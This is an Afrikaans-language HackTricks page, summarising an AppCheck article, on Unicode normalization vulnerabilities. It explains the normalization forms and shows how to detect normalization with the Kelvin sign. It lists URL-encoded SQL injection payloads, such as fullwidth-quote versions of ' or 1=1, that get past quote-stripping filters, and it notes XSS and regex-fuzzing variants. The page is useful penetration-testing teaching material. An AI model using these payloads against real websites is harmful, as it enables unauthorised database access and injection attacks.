Unicode Normalization

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte gekompromiteer is deur steelware.

Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse aanvalle te bekamp wat voortspruit uit inligtingsteelware.

Jy kan hul webwerf besoek en hul enjin vir gratis probeer by:


Dit is 'n opsomming van: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. Kyk vir verdere besonderhede (afbeeldings geneem van daar).

Begrip van Unicode en Normalisering

Unicode normalisering is 'n proses wat verseker dat verskillende binêre voorstellings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is noodsaaklik vir die hantering van strings in programmering en dataverwerking. Die Unicode-standaard definieer twee tipes karakter-ekwivalensie:

  1. Kanoniese Ekwivalensie: Karakters word kanonies ekwivalent beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.

  2. Verenigbaarheid Ekwivalensie: 'n Swakker vorm van ekwivalensie waar karakters dieselfde abstrakte karakter kan verteenwoordig, maar anders vertoon kan word.

Daar is vier Unicode normaliseringsalgoritmes: NFC, NFD, NFKC, en NFKD. Elke algoritme maak gebruik van kanoniese en verenigbare normaliserings tegnieke op 'n ander manier. Vir 'n dieper begrip kan jy hierdie tegnieke verken op Unicode.org.

Sleutelpunte oor Unicode-kodering

Begrip van Unicode-kodering is krities, veral wanneer daar gehandel word met interoperabiliteitsprobleme tussen verskillende stelsels of tale. Hier is die belangrikste punte:

  • Kodepunte en Karakters: In Unicode word elke karakter of simbool toegewys 'n numeriese waarde wat bekend staan as 'n "kodepunt".

  • Byte Voorstelling: Die kodepunt (of karakter) word voorgestel deur een of meer bytes in geheue. Byvoorbeeld, LATYN-1 karakters (gewoonlik in Engelsprekende lande) word voorgestel deur een byte. Tog, tale met 'n groter stel karakters benodig meer bytes vir voorstelling.

  • Kodering: Hierdie term verwys na hoe karakters omskep word na 'n reeks bytes. UTF-8 is 'n algemene koderingstandaard waar ASCII-karakters voorgestel word deur een byte, en tot vier bytes vir ander karakters.

  • Dataverwerking: Stelsels wat data verwerk moet bewus wees van die gebruikte kodering om die bytevloei korrek te omskep na karakters.

  • Variante van UTF: Behalwe UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).

Dit is krities om hierdie konsepte te begryp om potensiële probleme wat voortspruit uit die kompleksiteit van Unicode en sy verskeie koderingsmetodes doeltreffend te hanteer en te verminder.

'n Voorbeeld van hoe Unicode twee verskillende bytes normaliseer wat dieselfde karakter voorstel:

unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")

'n Lys van Unicode-ekwivalente karakters kan hier gevind word: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html en https://0xacb.com/normalization_table

Ontdekking

As jy binne 'n webtoep 'n waarde kan vind wat teruggekaats word, kan jy probeer om 'KELVIN TEKEN' (U+0212A) te stuur wat genormaliseer word na "K" (jy kan dit stuur as %e2%84%aa). As 'n "K" teruggekaats word, dan word daar op 'n of ander manier Unicode normalisering uitgevoer.

Ander voorbeeld: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 na unicode is Leonishan.

Vulnereerbare Voorbeelde

SQL Injection filter omseil

Stel jou 'n webbladsy voor wat die karakter ' gebruik om SQL-navrae met die gebruikersinvoer te skep. Hierdie web, as 'n veiligheidsmaatreël, verwyder alle voorkomste van die karakter ' uit die gebruikersinvoer, maar na daardie verwydering en voor die skepping van die navraag, normaliseer dit die invoer van die gebruiker met behulp van Unicode.

Dan kan 'n kwaadwillige gebruiker 'n ander Unicode-karakter invoeg wat ekwivalent is aan ' (0x27) soos %ef%bc%87, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n SQLInjection kwesbaarheid verskyn:

Sommige interessante Unicode-karakters

  • o -- %e1%b4%bc

  • r -- %e1%b4%bf

  • 1 -- %c2%b9

  • = -- %e2%81%bc

  • / -- %ef%bc%8f

  • --- %ef%b9%a3

  • #-- %ef%b9%9f

  • *-- %ef%b9%a1

  • ' -- %ef%bc%87

  • " -- %ef%bc%82

  • | -- %ef%bd%9c

' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

sqlmap sjabloon

XSS (Cross Site Scripting)

Jy kan een van die volgende karakters gebruik om die webtoepassing te mislei en 'n XSS te benut:

Let daarop dat byvoorbeeld die eerste Unicode-karakter voorgestel kan word as: %e2%89%ae of as %u226e

Fuzzing Regexes

Wanneer die agterkant gebruikerinsette met 'n regex nagaan, kan dit moontlik wees dat die inset genormaliseer word vir die regex maar nie vir waar dit gebruik word nie. Byvoorbeeld, in 'n Oopverwysing of SSRF kan die regex die gestuurde URL normaliseer maar dit dan soos dit is toegang gee.

Die instrument recollapse laat toe om variasies van die inset te genereer om die agterkant te fuzz. Vir meer inligting kyk na die github en hierdie pos.

Verwysings

WhiteIntel is 'n donkerweb-aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur diewe-malware gekompromitteer is.

Die primêre doel van WhiteIntel is om rekeningoorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteel-malware te voorkom.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated